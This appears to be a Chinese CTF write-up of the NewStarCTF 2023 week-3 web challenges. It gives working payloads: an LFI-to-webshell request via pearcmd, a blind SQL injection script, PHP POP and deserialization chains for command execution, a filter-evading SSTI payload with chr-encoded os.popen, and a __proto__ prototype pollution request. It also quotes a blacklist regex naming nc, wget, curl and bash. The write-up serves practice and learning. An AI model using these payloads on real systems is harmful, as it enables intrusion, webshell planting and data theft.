[NewStarCTF 2023 公开赛道]WEEK3–web方向复现记录

Include 🍐

和这个题过程一模一样

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}

本地文件包含 LFI

include($_GET[‘file’].”.php”);`

用户传的 file 参数会拼接一个 .php 再被包含。

黑名单限制

filterrot13base64` 不能用。

所以常见的伪协议:php://filterphp://inputdata:// 都被限制了。

漏洞利用目标

提示意思是让你通过 LFI(本地文件包含)变成 RCE。

但是 .php 后缀限制 → 不能直接包含 /etc/passwd 这种非 PHP 文件。

直接写马

注意抓包之后修改一下尖括号 再比如这里不需要php后缀

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php 

这里我们不用tmp 用这个默认路径

image-20250911182314585

成功上传之后 直接去看a.php

image-20250911182341559

进行post传参就可以

再或者我们蚁剑连接

image-20250911182419706

image-20250911182443410

image-20250911182447712

image-20250911182728269

一模一样的步骤

medium_sql

之后要恶补一下盲注的知识点

image-20250918091548095

?id=TMP0919’ AND 1=1–+;

image-20250918091710356

?id=TMP0919’ AND 1=2–+;

正确时正常回显 错误时无回显(注意and要用大写 这里过滤了小写)

所以我们考虑布尔盲注

偷的一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time

_url = "http://9e6e40f6-fdfa-4650-9539-bd611c9379de.node5.buuoj.cn:81/"

def condition(res):
return "Physics" in res.text # 根据页面特征修改

result = ""
for pos in range(1, 1000): # 最多1000位
left, right = 32, 126 # 可见ASCII范围
while left <= right:
mid = (left + right) // 2
# 判断等于
url = f"{_url}?id=TMP0919' AND IF(ORD(SUBSTR((SELECT flag FROM here_is_flag),{pos},1))={mid},1,0)%23"
res = requests.get(url)
if condition(res):
result += chr(mid)
print(result)
break
else:
# 判断大于
url = f"{_url}?id=TMP0919' AND IF(ORD(SUBSTR((SELECT flag FROM here_is_flag),{pos},1))>{mid},1,0)%23"
res = requests.get(url)
if condition(res):
left = mid + 1
else:
right = mid - 1
else:
# 没爆出来,说明 flag 到头了
break

image-20250918092324625

可以对应题目修改脚本

POP Gadget

之前学反序列化的时候写过一次

来试一下

image-20250918180137893

1
2
3
4
5
6
7
8
9
$pop=new Begin();
$pop->name=new Then();
$pop->name->func=new Super();
$pop->name->func->obj=new Handle();
$pop->name->func->obj->obj=new CTF();
$pop->name->func->obj->obj->handle=new WhiteGod();
$pop->name->func->obj->obj->handle->func = 'system';
$pop->name->func->obj->obj->handle->var = 'cat /flag';
echo urlencode(serialize($pop));

url编码之后还需要再编码一下 再hackerbar里面解编码可以看到有个加号

image-20250918180348895

R!!!C!!!E!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

for ($i=32;$i<127;$i++){

if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){

echo chr($i)." ";

}

}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}


把这个正则匹配扔到脚本里看一下能用的字符

image-20250918181127203

回到php代码 这段看着还是要构造反序列化链子的

$a->qwejaskdjnlka = $a

这个写法学习一下

这是创建一个循环引用从而触发tostring

a->qwejaskdjnlka = $a 表示让对象的qwejaskdjnlka属性指向对象自己

这样当__destruct()执行echo $this->qwejaskdjnlka时,实际上就是在echo对象自己

于是就会触发当前对象的__toString()方法,进而执行exec($this->code)

简单来说就是自己去引用自己从而把这里的两个魔术方法串到一起

如果不这样做循环引用的话 qwe就可能是普通字符串 不会触发tostring了

image-20250919092727346

下一步就是考虑怎么在正则匹配的过滤下成功执行我们需要的命令

单引号和双引号不要用错了。。。。

双引号解析单引号不解析

输入ls发现没有回显 所以这里应该是无回显rce

不过正则匹配过滤了&|>和其他nc等命令 我们不考虑反弹shell 想其他方法

想到可以写入内容到其他文件

这里虽然tee过滤掉了但是可以用一个特性绕过

在 Bash 等 Shell 中,单引号包裹的空字符串 ‘’ 会被忽略

payload=O:7:”minipop”:2:{s:4:”code”;N;s:13:”qwejaskdjnlka”;O:7:”minipop”:2:{s:4:”code”;s:14:”ls / | t’’ee b”;s:13:”qwejaskdjnlka”;N;}}

image-20250919130508385

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class minipop
{
public $code;
public $qwejaskdjnlka;
}



$a=new minipop();
$b=new minipop();
$a->qwejaskdjnlka=$b;
$b->code="ls / | t''ee b";
echo serialize($a);

然后我们查看文件b

image-20250919130544017

同样的方法执行catflag

image-20250919130757231

image-20250919130804195

GenShin

信息收集

image-20250919175100100

我点了好几次也没看见这还有个路径提示。。。。。。。

image-20250919175124745

image-20250919175219194

试了下ssti

image-20250919175305308

66666666666

试了下这里只要俩大括号就不行

利用{% %}标签执行代码

1
{% print(7*7) %}

查看当前 Flask 应用的配置信息

1
{% print(config) %}

这里试的时候可以发现过滤了蛮多东西 .也过滤了

绕过.我们就用attr

第一步拿到类和基类

()|attr("__class__")|attr("__base__")

1
2
?name=
{% print ()|attr("__class__")|attr("__base__")|attr("__subclasses__")() %}

image-20250921110306462

获取子类列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import json

a = """
//我这里把一大串给省略了 就是把上面查出来的类粘贴到这里
"""

num = 0
allList = []

result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i

for k, v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k) + "--->" + v)

image-20250921111614156

|attr("__globals__") 的作用是从类的构造方法中 “撬出” 它所在模块的所有功能,让我们能拿到 os 模块等 “危险工具”,最终实现命令执行、文件读取等攻击行为,这是 SSTI 漏洞从 “注入” 到 “getshell” 的关键一跃。

下一步就是访问这个globals

这里init也被过滤了

通过字符串拼接来绕过

__init__ 拆分为 '__in' + '__it__'

1
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}

image-20250921112559425

得到的这个就是global的字典内容

它相当于是一个武器库

返回当前作用域的全局变量字典

在 SSTI 中,拿到这个字典就相当于获得了:

  • 所有内置函数(如 eval__import__open 等,可执行命令、读写文件);
  • 已加载的模块(如 ossubprocess 等,是执行系统操作的核心工具);
  • 模板运行时的自定义变量 / 类(可能包含开发者遗留的危险逻辑)

image-20250921112651398

这里又过滤了popen systen这种直接执行的

所以我们需要间接执行比如eval+字符串编码

|attr("get")("eval"):从 __builtins__ 中取出 eval 函数

执行的命令

eval(__import__('os').popen('ls /').read())

这里要把它进行chr编码 然后chr中间要加上加号

之后知道flag位置直接进行查看

完整payload

1
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}

写死我了。。。。。

image-20250921113948035

OtenkiGirl

最后的题是一个java原型链污染

这几天学一下

先下载附件

image-20251012113908941

看到app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined



const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
//这里引入了两个配置文件


const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;

const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");

const app = new Koa();

app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
onerror: function (err, ctx) {
// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
ctx.request.body = {}
} else {
throw err;
}
}
}));


//这里引入了route文件夹下的info 和route
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });



app.listen(PORT, () => {
console.info(`Server is running at port ${PORT}...`);
})

module.exports = app;

把这个拿出来看一下

1
2
3
4
5
//这里引入了route文件夹下的info 和route
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });

这段代码的目的是批量加载并注册路由,让 Koa 应用能处理不同 URL 路径的请求。

(不懂没事 继续往下)

[ "info", "submit" ]

这是一个字符串数组,包含需要加载的路由模块名称(infosubmit)。

.forEach(p => { ... })

遍历数组中的每个元素(p 依次为 "info""submit"),对每个元素执行回调逻辑

p = require("./routes/" + p)

“./routes/“ + p会拼接出路由文件的路径(如 “./routes/info”、”./routes/submit”`)。

require会加载对应路径的模块(假设是 info.js和 submit.js),并将模块赋值给 p

app.use(p.routes()).use(p.allowedMethods())

p.routes():获取路由模块中定义的路由规则(如哪些 URL 对应哪些处理函数)。

p.allowedMethods():配置允许的 HTTP 请求方法(如限制接口只接受 GET/POST,若请求方法不允许则返回错误)。

app.use(...):将路由规则和请求方法限制注册到 Koa 应用中,使应用能响应对应请求

因此我们追踪到routes文件下的info.js和submit.js

info.js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}

router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}

try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;

我们注意到这段代码let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();,

将我们传入的timestamp做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time

意思是使用 CONFIG 变量中的 min_public_time 属性(如果存在),否则使用 DEFAULT_CONFIG 变量中的 min_public_time 属性。

我们继续找config文件和config.default文件,发现CONFIG 变量中没有min_public_time 属性,所以会使用DEFAULT_CONFIG 变量中的 min_public_time 属性。

config.default文件

1
2
3
4
5
6
7
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}

我们这里可以原型链污染污染min_public_time为更早的日期,尝试绕过这个日期限制。

submit.js代码(有点多 这里就放出来一部分重要的)

这里可以发现注入点

1
2
3
4
5
6
7
8
9
10
11
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}

merge 函数的目的是递归合并两个对象(将 src 的属性合并到 dst 中)

这个 merge 函数没有过滤特殊键(如 __proto__

我们注意到在第7行中,如果key既存在于dst对象中,又存在于src对象中,则会递归调用merge函数将它们合并,否则dst[key]会被赋值为src[key]。

这意味着如果src对象的原型链上存在名为’min_public_time’的属性,则该属性将被赋值给dst对象,那么dst[key]将会指向原型链上的值。在JavaScript中,对象可以具有特殊的属性__proto__,它指向对象的原型。通过修改data['__proto__']['min_public_time']的值,我们可以影响原型链上的属性。

思路有了我们来解题

改一下时间戳

image-20251012120637537

image-20251012120836860

1
2
3
4
5
6
7
8
9
10
11
12
13
{

"contact": "test",

"reason": "test",

"__proto__": {

"min_public_time": "1001-01-01"

}

}

image-20251012121330611

我们直接hackbar上在info路由上传ts=0,获取全部信息,最终发现其中一个含flag的信息:

image-20251012121337437

为什么要请求info

/info 这类路径通常是服务端设计的信息查询接口,用于返回特定的数据集或详情